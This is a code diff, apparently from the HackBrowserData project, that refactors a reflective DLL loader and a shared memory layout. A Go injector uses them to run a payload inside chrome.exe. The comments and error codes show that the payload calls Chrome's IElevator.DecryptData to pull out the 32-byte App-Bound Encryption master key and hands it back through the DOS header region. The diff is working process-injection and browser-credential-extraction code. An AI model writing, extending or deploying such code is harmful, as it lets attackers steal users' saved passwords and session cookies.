imp->VirtualProtect(newBase + sec[i].VirtualAddress,
|
||||
sec[i].Misc.VirtualSize,
|
||||
newProtect, &oldProtect);
|
||||
}
|
||||
MARK(imageBase, BOOTSTRAP_MARK_PERMISSIONS);
|
||||
}
|
||||
|
||||
pNtFlushIC((HANDLE)-1, NULL, 0);
|
||||
MARK(imageBase, BOOTSTRAP_MARK_CACHE_FLUSHED);
|
||||
|
||||
// lpReserved carries the original raw-image base so DllMain can write
|
||||
// the decrypted key back into the scratch region the Go injector reads.
|
||||
// invoke_dllmain calls the payload's DllMain with DLL_PROCESS_ATTACH.
|
||||
// lpReserved carries the original raw-image base so DllMain (= the ABE
|
||||
// extractor entry) can write the decrypted key back into the scratch
|
||||
// region the Go injector reads.
|
||||
static ULONG_PTR invoke_dllmain(BYTE *newBase, PIMAGE_NT_HEADERS64 newNt,
|
||||
ULONG_PTR scratchBase)
|
||||
{
|
||||
pfn_DllMain pDllMain =
|
||||
(pfn_DllMain)(newBase + newNt->OptionalHeader.AddressOfEntryPoint);
|
||||
pDllMain((HINSTANCE)newBase, DLL_PROCESS_ATTACH, (LPVOID)imageBase);
|
||||
|
||||
MARK(imageBase, BOOTSTRAP_MARK_DONE);
|
||||
pDllMain((HINSTANCE)newBase, DLL_PROCESS_ATTACH, (LPVOID)scratchBase);
|
||||
return (ULONG_PTR)newBase;
|
||||
}
|
||||
|
||||
__declspec(dllexport) ULONG_PTR WINAPI Bootstrap(LPVOID lpParameter)
|
||||
{
|
||||
ULONG_PTR imageBase = locate_own_image_base();
|
||||
if (imageBase == 0) return 0;
|
||||
MARK(imageBase, BOOTSTRAP_MARK_MZ_FOUND);
|
||||
|
||||
resolved_imports imp;
|
||||
if (!read_preresolved_imports(imageBase, &imp)) {
|
||||
MARK(imageBase, BOOTSTRAP_MARK_ERR_IMPORTS);
|
||||
return 0;
|
||||
}
|
||||
MARK(imageBase, BOOTSTRAP_MARK_IMPORTS_OK);
|
||||
|
||||
PIMAGE_NT_HEADERS64 newNt;
|
||||
BYTE *newBase = allocate_and_copy_image(imageBase, &imp, &newNt);
|
||||
if (!newBase) {
|
||||
MARK(imageBase, BOOTSTRAP_MARK_ERR_ALLOC);
|
||||
return 0;
|
||||
}
|
||||
MARK(imageBase, BOOTSTRAP_MARK_ALLOC_OK);
|
||||
MARK(imageBase, BOOTSTRAP_MARK_COPIED);
|
||||
|
||||
apply_base_relocations(newBase, newNt);
|
||||
MARK(imageBase, BOOTSTRAP_MARK_RELOCATED);
|
||||
|
||||
link_iat(newBase, newNt, &imp);
|
||||
MARK(imageBase, BOOTSTRAP_MARK_IMPORTS_FIXED);
|
||||
|
||||
set_section_protections(newBase, newNt, &imp);
|
||||
MARK(imageBase, BOOTSTRAP_MARK_PERMISSIONS);
|
||||
|
||||
imp.NtFlushInstructionCache((HANDLE)-1, NULL, 0);
|
||||
MARK(imageBase, BOOTSTRAP_MARK_CACHE_FLUSHED);
|
||||
|
||||
ULONG_PTR result = invoke_dllmain(newBase, newNt, imageBase);
|
||||
MARK(imageBase, BOOTSTRAP_MARK_DONE);
|
||||
return result;
|
||||
}
|
||||
|
||||
@@ -1,50 +1,9 @@
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
|
||||
#ifndef HBD_ABE_BOOTSTRAP_H
|
||||
#define HBD_ABE_BOOTSTRAP_H
|
||||
|
||||
#define WIN32_LEAN_AND_MEAN
|
||||
#include <windows.h>
|
||||
|
||||
// Scratch layout inside imageBase (the raw-file payload region in the
|
||||
// target process). Shared contract with the Go injector — keep the
|
||||
// offsets and meanings in sync with utils/injector/reflective_windows.go.
|
||||
//
|
||||
// 0x28 step marker (written by Bootstrap)
|
||||
// 0x29 key status (0x01 = ready, written by DllMain)
|
||||
// 0x40..0x67 pre-Bootstrap: 5 pre-resolved Win32 fn pointers
|
||||
// post-DllMain : 32-byte master key at 0x40..0x5F
|
||||
//
|
||||
// Windows' PE loader ignores the DOS stub region (0x40..0x77), and
|
||||
// Bootstrap only reads the imports once at function start, so DllMain
|
||||
// can safely overwrite 0x40..0x5F with the key afterwards.
|
||||
|
||||
#define BOOTSTRAP_MARKER_OFFSET 0x28
|
||||
|
||||
#define BOOTSTRAP_KEY_STATUS_OFFSET 0x29
|
||||
#define BOOTSTRAP_KEY_STATUS_READY 0x01
|
||||
|
||||
#define BOOTSTRAP_KEY_OFFSET 0x40
|
||||
#define BOOTSTRAP_KEY_LEN 32
|
||||
|
||||
#define BOOTSTRAP_IMPORT_LOADLIBRARYA_OFFSET 0x40
|
||||
#define BOOTSTRAP_IMPORT_GETPROCADDRESS_OFFSET 0x48
|
||||
#define BOOTSTRAP_IMPORT_VIRTUALALLOC_OFFSET 0x50
|
||||
#define BOOTSTRAP_IMPORT_VIRTUALPROTECT_OFFSET 0x58
|
||||
#define BOOTSTRAP_IMPORT_NTFLUSHIC_OFFSET 0x60
|
||||
|
||||
#define BOOTSTRAP_MARK_MZ_FOUND 0x02
|
||||
#define BOOTSTRAP_MARK_IMPORTS_OK 0x05
|
||||
#define BOOTSTRAP_MARK_ALLOC_OK 0x06
|
||||
#define BOOTSTRAP_MARK_COPIED 0x07
|
||||
#define BOOTSTRAP_MARK_RELOCATED 0x08
|
||||
#define BOOTSTRAP_MARK_IMPORTS_FIXED 0x09
|
||||
#define BOOTSTRAP_MARK_PERMISSIONS 0x0A
|
||||
#define BOOTSTRAP_MARK_CACHE_FLUSHED 0x0B
|
||||
#define BOOTSTRAP_MARK_DONE 0xFF
|
||||
|
||||
#define BOOTSTRAP_MARK_ERR_IMPORTS 0xE3
|
||||
#define BOOTSTRAP_MARK_ERR_ALLOC 0xE4
|
||||
#include "bootstrap_layout.h"
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
|
||||
@@ -0,0 +1,43 @@
|
||||
// Code generated by cmd/cgo -godefs; DO NOT EDIT.
|
||||
// cgo -godefs layout_gen.go
|
||||
|
||||
package bootstrap
|
||||
|
||||
const (
|
||||
MarkerOffset = 0x28
|
||||
KeyStatusOffset = 0x29
|
||||
KeyStatusReady = 0x1
|
||||
ExtractErrCodeOffset = 0x2a
|
||||
HResultOffset = 0x2c
|
||||
ComErrOffset = 0x30
|
||||
KeyOffset = 0x40
|
||||
KeyLen = 0x20
|
||||
|
||||
ImpLoadLibraryAOffset = 0x40
|
||||
ImpGetProcAddressOffset = 0x48
|
||||
ImpVirtualAllocOffset = 0x50
|
||||
ImpVirtualProtectOffset = 0x58
|
||||
ImpNtFlushICOffset = 0x60
|
||||
|
||||
MarkMZFound = 0x2
|
||||
MarkImportsOK = 0x5
|
||||
MarkAllocOK = 0x6
|
||||
MarkCopied = 0x7
|
||||
MarkRelocated = 0x8
|
||||
MarkImportsFixed = 0x9
|
||||
MarkPermissions = 0xa
|
||||
MarkCacheFlushed = 0xb
|
||||
MarkDone = 0xff
|
||||
MarkErrImports = 0xe3
|
||||
MarkErrAlloc = 0xe4
|
||||
|
||||
ErrOk = 0x0
|
||||
ErrBasename = 0x1
|
||||
ErrBrowserUnknown = 0x2
|
||||
ErrEnvMissing = 0x3
|
||||
ErrBase64 = 0x4
|
||||
ErrBstrAlloc = 0x5
|
||||
ErrComCreate = 0x6
|
||||
ErrDecryptData = 0x7
|
||||
ErrKeyLen = 0x8
|
||||
)
|
||||
@@ -0,0 +1,50 @@
|
||||
//go:build ignore
|
||||
|
||||
// Code generation entry for scratch layout constants shared between the
|
||||
// C payload and the Go injector. Regenerate with `make gen-layout`.
|
||||
|
||||
package bootstrap
|
||||
|
||||
/*
|
||||
#include "../bootstrap_layout.h"
|
||||
*/
|
||||
import "C"
|
||||
|
||||
const (
|
||||
MarkerOffset = C.BOOTSTRAP_MARKER_OFFSET
|
||||
KeyStatusOffset = C.BOOTSTRAP_KEY_STATUS_OFFSET
|
||||
KeyStatusReady = C.BOOTSTRAP_KEY_STATUS_READY
|
||||
ExtractErrCodeOffset = C.BOOTSTRAP_EXTRACT_ERR_CODE_OFFSET
|
||||
HResultOffset = C.BOOTSTRAP_HRESULT_OFFSET
|
||||
ComErrOffset = C.BOOTSTRAP_COMERR_OFFSET
|
||||
KeyOffset = C.BOOTSTRAP_KEY_OFFSET
|
||||
KeyLen = C.BOOTSTRAP_KEY_LEN
|
||||
|
||||
ImpLoadLibraryAOffset = C.BOOTSTRAP_IMPORT_LOADLIBRARYA_OFFSET
|
||||
ImpGetProcAddressOffset = C.BOOTSTRAP_IMPORT_GETPROCADDRESS_OFFSET
|
||||
ImpVirtualAllocOffset = C.BOOTSTRAP_IMPORT_VIRTUALALLOC_OFFSET
|
||||
ImpVirtualProtectOffset = C.BOOTSTRAP_IMPORT_VIRTUALPROTECT_OFFSET
|
||||
ImpNtFlushICOffset = C.BOOTSTRAP_IMPORT_NTFLUSHIC_OFFSET
|
||||
|
||||
MarkMZFound = C.BOOTSTRAP_MARK_MZ_FOUND
|
||||
MarkImportsOK = C.BOOTSTRAP_MARK_IMPORTS_OK
|
||||
MarkAllocOK = C.BOOTSTRAP_MARK_ALLOC_OK
|
||||
MarkCopied = C.BOOTSTRAP_MARK_COPIED
|
||||
MarkRelocated = C.BOOTSTRAP_MARK_RELOCATED
|
||||
MarkImportsFixed = C.BOOTSTRAP_MARK_IMPORTS_FIXED
|
||||
MarkPermissions = C.BOOTSTRAP_MARK_PERMISSIONS
|
||||
MarkCacheFlushed = C.BOOTSTRAP_MARK_CACHE_FLUSHED
|
||||
MarkDone = C.BOOTSTRAP_MARK_DONE
|
||||
MarkErrImports = C.BOOTSTRAP_MARK_ERR_IMPORTS
|
||||
MarkErrAlloc = C.BOOTSTRAP_MARK_ERR_ALLOC
|
||||
|
||||
ErrOk = C.ABE_ERR_OK
|
||||
ErrBasename = C.ABE_ERR_BASENAME
|
||||
ErrBrowserUnknown = C.ABE_ERR_BROWSER_UNKNOWN
|
||||
ErrEnvMissing = C.ABE_ERR_ENV_MISSING
|
||||
ErrBase64 = C.ABE_ERR_BASE64
|
||||
ErrBstrAlloc = C.ABE_ERR_BSTR_ALLOC
|
||||
ErrComCreate = C.ABE_ERR_COM_CREATE
|
||||
ErrDecryptData = C.ABE_ERR_DECRYPT_DATA
|
||||
ErrKeyLen = C.ABE_ERR_KEY_LEN
|
||||
)
|
||||
@@ -0,0 +1,99 @@
|
||||
#ifndef HBD_ABE_BOOTSTRAP_LAYOUT_H
|
||||
#define HBD_ABE_BOOTSTRAP_LAYOUT_H
|
||||
|
||||
#include <stdint.h>
|
||||
#include <stddef.h>
|
||||
|
||||
// BootstrapScratch describes the IPC contract between the C payload running
|
||||
// inside chrome.exe and the Go injector in our own process. It squats inside
|
||||
// the target DLL's PE DOS header region. Windows' PE loader ignores the DOS
|
||||
// stub at 0x40..0x77, and we also borrow a few reserved bytes between 0x28
|
||||
// and 0x3B inside IMAGE_DOS_HEADER. The e_lfanew at 0x3C..0x3F MUST be left
|
||||
// untouched so the PE loader can still find the NT headers.
|
||||
//
|
||||
// This header is deliberately free of <windows.h> so cgo -godefs can read it
|
||||
// on macOS / Linux to regenerate the Go-side constants.
|
||||
|
||||
typedef struct __attribute__((packed)) BootstrapScratch {
|
||||
uint8_t dos_header_prefix[0x28]; // 0x00..0x27
|
||||
|
||||
uint8_t marker; // 0x28: Bootstrap progress marker
|
||||
uint8_t key_status; // 0x29: 0x01 = key ready
|
||||
uint8_t extract_err_code; // 0x2A: ABE_ERR_* category on failure
|
||||
uint8_t _reserved_2b; // 0x2B
|
||||
|
||||
uint32_t hresult; // 0x2C: COM HRESULT on failure (0 otherwise)
|
||||
uint32_t com_err; // 0x30: IElevator.DecryptData out DWORD on failure
|
||||
|
||||
uint8_t dos_header_tail[0x40 - 0x34]; // 0x34..0x3F, includes e_lfanew @ 0x3C
|
||||
|
||||
// 0x40..0x67: time-shared region
|
||||
// pre-Bootstrap: 5 pre-resolved kernel32/ntdll function pointers
|
||||
// post-DllMain : 32-byte master key at 0x40..0x5F
|
||||
union {
|
||||
struct {
|
||||
uintptr_t LoadLibraryA; // 0x40
|
||||
uintptr_t GetProcAddress; // 0x48
|
||||
uintptr_t VirtualAlloc; // 0x50
|
||||
uintptr_t VirtualProtect; // 0x58
|
||||
uintptr_t NtFlushInstructionCache; // 0x60
|
||||
} imports;
|
||||
uint8_t key[32]; // 0x40..0x5F
|
||||
} shared;
|
||||
} BootstrapScratch;
|
||||
|
||||
// Byte offsets derived from the struct. These are the ONLY place raw numeric
|
||||
// offsets appear; every C and Go consumer uses these names (or the Go-side
|
||||
// constants generated from them via cgo -godefs).
|
||||
#define BOOTSTRAP_MARKER_OFFSET offsetof(struct BootstrapScratch, marker)
|
||||
#define BOOTSTRAP_KEY_STATUS_OFFSET offsetof(struct BootstrapScratch, key_status)
|
||||
#define BOOTSTRAP_KEY_STATUS_READY 0x01
|
||||
#define BOOTSTRAP_EXTRACT_ERR_CODE_OFFSET offsetof(struct BootstrapScratch, extract_err_code)
|
||||
#define BOOTSTRAP_HRESULT_OFFSET offsetof(struct BootstrapScratch, hresult)
|
||||
#define BOOTSTRAP_COMERR_OFFSET offsetof(struct BootstrapScratch, com_err)
|
||||
#define BOOTSTRAP_KEY_OFFSET offsetof(struct BootstrapScratch, shared.key)
|
||||
#define BOOTSTRAP_KEY_LEN 32
|
||||
|
||||
#define BOOTSTRAP_IMPORT_LOADLIBRARYA_OFFSET offsetof(struct BootstrapScratch, shared.imports.LoadLibraryA)
|
||||
#define BOOTSTRAP_IMPORT_GETPROCADDRESS_OFFSET offsetof(struct BootstrapScratch, shared.imports.GetProcAddress)
|
||||
#define BOOTSTRAP_IMPORT_VIRTUALALLOC_OFFSET offsetof(struct BootstrapScratch, shared.imports.VirtualAlloc)
|
||||
#define BOOTSTRAP_IMPORT_VIRTUALPROTECT_OFFSET offsetof(struct BootstrapScratch, shared.imports.VirtualProtect)
|
||||
#define BOOTSTRAP_IMPORT_NTFLUSHIC_OFFSET offsetof(struct BootstrapScratch, shared.imports.NtFlushInstructionCache)
|
||||
|
||||
// Progress markers written by Bootstrap itself (enum-like, not offsets).
|
||||
#define BOOTSTRAP_MARK_MZ_FOUND 0x02
|
||||
#define BOOTSTRAP_MARK_IMPORTS_OK 0x05
|
||||
#define BOOTSTRAP_MARK_ALLOC_OK 0x06
|
||||
#define BOOTSTRAP_MARK_COPIED 0x07
|
||||
#define BOOTSTRAP_MARK_RELOCATED 0x08
|
||||
#define BOOTSTRAP_MARK_IMPORTS_FIXED 0x09
|
||||
#define BOOTSTRAP_MARK_PERMISSIONS 0x0A
|
||||
#define BOOTSTRAP_MARK_CACHE_FLUSHED 0x0B
|
||||
#define BOOTSTRAP_MARK_DONE 0xFF
|
||||
#define BOOTSTRAP_MARK_ERR_IMPORTS 0xE3
|
||||
#define BOOTSTRAP_MARK_ERR_ALLOC 0xE4
|
||||
|
||||
// Failure categories written by abe_extractor.c. Complements hresult: many
|
||||
// failures (env missing, unknown browser) have no COM HRESULT, so they need
|
||||
// a separate category code. 0 = no error / success.
|
||||
#define ABE_ERR_OK 0x00
|
||||
#define ABE_ERR_BASENAME 0x01 // GetOwnExeBasename failed
|
||||
#define ABE_ERR_BROWSER_UNKNOWN 0x02 // exe not in com_iid table
|
||||
#define ABE_ERR_ENV_MISSING 0x03 // HBD_ABE_ENC_B64 missing or oversized
|
||||
#define ABE_ERR_BASE64 0x04 // CryptStringToBinaryA failed
|
||||
#define ABE_ERR_BSTR_ALLOC 0x05 // SysAllocStringByteLen returned NULL
|
||||
#define ABE_ERR_COM_CREATE 0x06 // CoCreateInstance failed both v1 and v2
|
||||
#define ABE_ERR_DECRYPT_DATA 0x07 // IElevator.DecryptData returned failure HRESULT
|
||||
#define ABE_ERR_KEY_LEN 0x08 // DecryptData succeeded but wrong length
|
||||
|
||||
// Compile-time layout verification. Any drift here = build break.
|
||||
_Static_assert(sizeof(void *) == 8, "BootstrapScratch layout assumes 64-bit");
|
||||
_Static_assert(offsetof(struct BootstrapScratch, marker) == 0x28, "marker offset");
|
||||
_Static_assert(offsetof(struct BootstrapScratch, key_status) == 0x29, "key_status offset");
|
||||
_Static_assert(offsetof(struct BootstrapScratch, extract_err_code) == 0x2A, "extract_err_code offset");
|
||||
_Static_assert(offsetof(struct BootstrapScratch, hresult) == 0x2C, "hresult offset");
|
||||
_Static_assert(offsetof(struct BootstrapScratch, com_err) == 0x30, "com_err offset");
|
||||
_Static_assert(offsetof(struct BootstrapScratch, shared) == 0x40, "shared offset");
|
||||
_Static_assert(sizeof(((struct BootstrapScratch *)0)->shared.key) == 32, "key length");
|
||||
|
||||
#endif // HBD_ABE_BOOTSTRAP_LAYOUT_H
|
||||
@@ -1,4 +1,3 @@
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
#include "com_iid.h"
|
||||
|
||||
// CLSID / IID values migrated from HackBrowserData-injector-old's
|
||||
|
||||
@@ -1,5 +1,3 @@
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
|
||||
#ifndef HBD_ABE_COM_IID_H
|
||||
#define HBD_ABE_COM_IID_H
|
||||
|
||||
|
||||
Reference in New Issue
Block a user